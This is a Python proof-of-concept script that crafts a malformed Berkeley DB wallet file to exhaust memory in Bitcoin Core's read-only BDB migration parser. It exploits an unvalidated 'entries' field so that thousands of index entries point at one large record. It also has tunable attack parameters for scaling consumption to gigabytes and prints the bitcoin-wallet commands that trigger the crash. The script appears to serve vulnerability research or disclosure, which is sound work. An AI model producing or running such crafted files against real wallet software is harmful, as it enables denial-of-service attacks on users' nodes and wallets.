craft_oom_bdb.py

#!/usr/bin/env python3
"""
Craft a BDB wallet file that triggers excessive memory allocation.

The BDB read-only parser (src/wallet/migrate.cpp) trusts the page
header's `entries` field without validating it against the page size.
This script creates a file where a leaf page claims thousands of
entries, all pointing to the same record with a large `len` field.
Each entry allocates a separate copy of the record data, causing
memory consumption vastly disproportionate to the file size.

The parser accumulates all records into m_records (a multimap),
so memory is not freed until the entire parse completes or fails.

File layout (page_size=4096):
  Page 0: Outer MetaPage (root=1, last_page=N)
  Page 1: Outer root leaf ("main" -> page 2)
  Page 2: Inner MetaPage (root=3)
  Page 3: Malicious leaf page (entries=2000, all pointing to one
           record with len=2000, reading into subsequent pages)
  Pages 4..N: Padding (valid LSN, data for reads to succeed)

Result: ~2000 records * 2000 bytes * 2 (key+value stored in map)
        = ~8MB per parse of one leaf page. With larger entries/len
        or multiple leaf pages, this scales to gigabytes.

Usage:
  python3 craft_oom_bdb.py [output_path]
  mkdir -p /tmp/bdb_oom/wallets/oom
  cp oom_wallet.dat /tmp/bdb_oom/wallets/oom/wallet.dat
  systemd-run --user --scope -p MemoryMax=64M -p MemorySwapMax=0 \
      bitcoin-wallet -datadir=/tmp/bdb_oom -wallet=oom dump
"""

import struct
import sys

PAGE_SIZE = 65536

# Constants
BTREE_MAGIC = 0x00053162
BDB_VERSION = 9
SUBDB_FLAG = 0x20

# Page types
BTREE_META = 9
BTREE_LEAF = 5

# Record types
KEYDATA = 1

# Attack parameters — tune these for desired memory consumption
# With PAGE_SIZE=65536: max useful entries ≈ 32752
# Memory ≈ entries * record_len * 2 (key+value copies in m_records)
ENTRIES = 30000       # entries per malicious leaf page
RECORD_LEN = 60000   # bytes per record data allocation


def u32le(val):
    return struct.pack("<I", val)

def u16le(val):
    return struct.pack("<H", val)

def u32be(val):
    return struct.pack(">I", val)

def u8(val):
    return struct.pack("B", val)

def make_lsn():
    """LSN: file=0, offset=1."""
    return u32le(0) + u32le(1)

def pad_page(data):
    assert len(data) <= PAGE_SIZE, f"Page data too large: {len(data)}"
    return data + b'\x00' * (PAGE_SIZE - len(data))

def make_meta_page(page_num, root_page, last_page):
    data = bytearray()
    data += make_lsn()
    data += u32le(page_num)
    data += u32le(BTREE_MAGIC)
    data += u32le(BDB_VERSION)
    data += u32le(PAGE_SIZE)
    data += u8(0)                   # encrypt_algo
    data += u8(BTREE_META)          # type
    data += u8(0)                   # metaflags
    data += u8(0)                   # unused1
    data += u32le(0)                # free_list
    data += u32le(last_page)
    data += u32le(0)                # partitions
    data += u32le(0)                # key_count
    data += u32le(0)                # record_count
    data += u32le(SUBDB_FLAG)       # flags
    data += b'\x00' * 20           # uid
    data += u32le(0)                # unused2
    data += u32le(2)                # minkey
    data += u32le(0)                # re_len
    data += u32le(0)                # re_pad
    data += u32le(root_page)
    data += b'\x00' * 368          # unused3
    data += u32le(0)                # crypto_magic
    data += b'\x00' * 12           # trash
    data += b'\x00' * 20           # iv
    data += b'\x00' * 16           # chksum
    return pad_page(bytes(data))

def make_page_header(page_num, prev_pg, next_pg, entries,
                     hf_offset, level, pg_type):
    data = bytearray()
    data += make_lsn()
    data += u32le(page_num)
    data += u32le(prev_pg)
    data += u32le(next_pg)
    data += u16le(entries)
    data += u16le(hf_offset)
    data += u8(level)
    data += u8(pg_type)
    return bytes(data)

def make_record_header(length, rec_type):
    return u16le(length) + u8(rec_type)

def make_outer_root_leaf(page_num, inner_meta_page):
    header = make_page_header(page_num, 0, 0, 2, 0, 1, BTREE_LEAF)

    rec0_hdr = make_record_header(4, KEYDATA)
    rec0_data = b'main'
    rec0 = rec0_hdr + rec0_data

    rec1_hdr = make_record_header(4, KEYDATA)
    rec1_data = u32be(inner_meta_page)
    rec1 = rec1_hdr + rec1_data

    rec0_offset = PAGE_SIZE - 14
    rec1_offset = PAGE_SIZE - 7

    page = bytearray(PAGE_SIZE)
    page[0:26] = header
    page[26:28] = u16le(rec0_offset)
    page[28:30] = u16le(rec1_offset)
    page[rec0_offset:rec0_offset + len(rec0)] = rec0
    page[rec1_offset:rec1_offset + len(rec1)] = rec1
    return bytes(page)


def make_malicious_leaf(page_num, entries, record_len):
    """
    Build a leaf page with `entries` index entries all pointing
    to the same record near the end of the page. The record has
    type=KEYDATA and len=record_len.

    The parser reads each index, seeks to the record, allocates
    `record_len` bytes, reads from the file, then seeks back.
    Each entry creates a separate DataRecord in memory.

    The entries must be even (BDB key-value pairs), and each pair
    is stored in m_records. With entries=2000 and record_len=2000,
    each parse of this page allocates ~2000 * 2000 = 4MB of record
    data, plus the copy into m_records.
    """
    # Record placement: put the crafted record near the end of the page.
    # It needs 3 bytes (RecordHeader) + record_len bytes of data.
    # The data extends past this page into subsequent pages.
    record_offset = PAGE_SIZE - 4  # 3 bytes header + 1 byte of data in this page

    # Validate that all entries can have valid indices.
    # Entry i needs index >= 26 + 2*(i+1) = 28 + 2*i.
    # With all indices = record_offset, need record_offset >= 28 + 2*(entries-1).
    max_entries = (record_offset - 28) // 2 + 1
    if entries > max_entries:
        entries = max_entries
        print(f"  Capped entries to {entries} (page constraint)")

    # Ensure even number for key-value pairs
    if entries % 2 != 0:
        entries -= 1

    header = make_page_header(page_num, 0, 0, entries, 0, 1, BTREE_LEAF)

    page = bytearray(PAGE_SIZE)
    page[0:26] = header

    # Fill index table: all entries point to record_offset
    for i in range(entries):
        offset = 26 + i * 2
        page[offset:offset + 2] = u16le(record_offset)

    # Place the record header at record_offset
    rec_hdr = make_record_header(record_len, KEYDATA)
    page[record_offset:record_offset + 3] = rec_hdr
    # The remaining byte(s) of record data in this page are zero-filled.
    # The rest of the record_len bytes are read from subsequent pages.

    return bytes(page), entries


def make_padding_page(page_num):
    """A page with valid LSN and zero-filled data."""
    page = bytearray(PAGE_SIZE)
    page[0:8] = make_lsn()
    page[8:12] = u32le(page_num)
    # Fill with non-zero pattern so record reads get data
    for i in range(26, PAGE_SIZE):
        page[i] = 0x41  # 'A'
    return bytes(page)


def main():
    output_path = sys.argv[1] if len(sys.argv) > 1 else "oom_wallet.dat"

    entries = ENTRIES
    record_len = RECORD_LEN

    # We need enough pages after the leaf page for the record reads
    # to succeed. Each read is `record_len` bytes from the record
    # offset. Worst case: reads start near end of leaf page and need
    # `record_len` bytes spanning into subsequent pages.
    padding_pages_needed = (record_len // PAGE_SIZE) + 2
    total_pages = 4 + padding_pages_needed  # pages 0-3 + padding
    last_page = total_pages - 1

    # Page 0: outer meta
    page0 = make_meta_page(0, root_page=1, last_page=last_page)

    # Page 1: outer root leaf
    page1 = make_outer_root_leaf(1, inner_meta_page=2)

    # Page 2: inner meta
    page2 = make_meta_page(2, root_page=3, last_page=last_page)

    # Page 3: malicious leaf
    page3, actual_entries = make_malicious_leaf(3, entries, record_len)

    # Pages 4..N: padding for reads to succeed
    padding = b''
    for i in range(4, total_pages):
        padding += make_padding_page(i)

    wallet_data = page0 + page1 + page2 + page3 + padding

    file_size = len(wallet_data)
    mem_per_record = record_len + 64  # vector + overhead
    # Records accumulate as key-value pairs (every 2 records = 1 pair)
    # Each pair copies key and value into m_records multimap
    total_mem = actual_entries * mem_per_record * 2  # factor of 2 for map copy

    with open(output_path, 'wb') as f:
        f.write(wallet_data)

    print(f"Wrote {file_size} bytes ({file_size / 1024:.1f} KB) to {output_path}")
    print(f"  Pages: {total_pages} x {PAGE_SIZE} = {total_pages * PAGE_SIZE}")
    print(f"  Malicious leaf: entries={actual_entries}, record_len={record_len}")
    print(f"  Expected memory consumption: ~{total_mem / 1024 / 1024:.0f} MB")
    print(f"  Amplification factor: {total_mem / file_size:.0f}x")
    print()
    print(f"To trigger:")
    print(f"  mkdir -p /tmp/bdb_oom/wallets/oom")
    print(f"  cp {output_path} /tmp/bdb_oom/wallets/oom/wallet.dat")
    print(f"  # With memory limit (will be OOM-killed):")
    print(f"  systemd-run --user --scope -p MemoryMax=64M -p MemorySwapMax=0 \\")
    print(f"      bitcoin-wallet -datadir=/tmp/bdb_oom -wallet=oom dump")
    print(f"  # Without limit (watch memory grow):")
    print(f"  bitcoin-wallet -datadir=/tmp/bdb_oom -wallet=oom dump")


if __name__ == "__main__":
    main()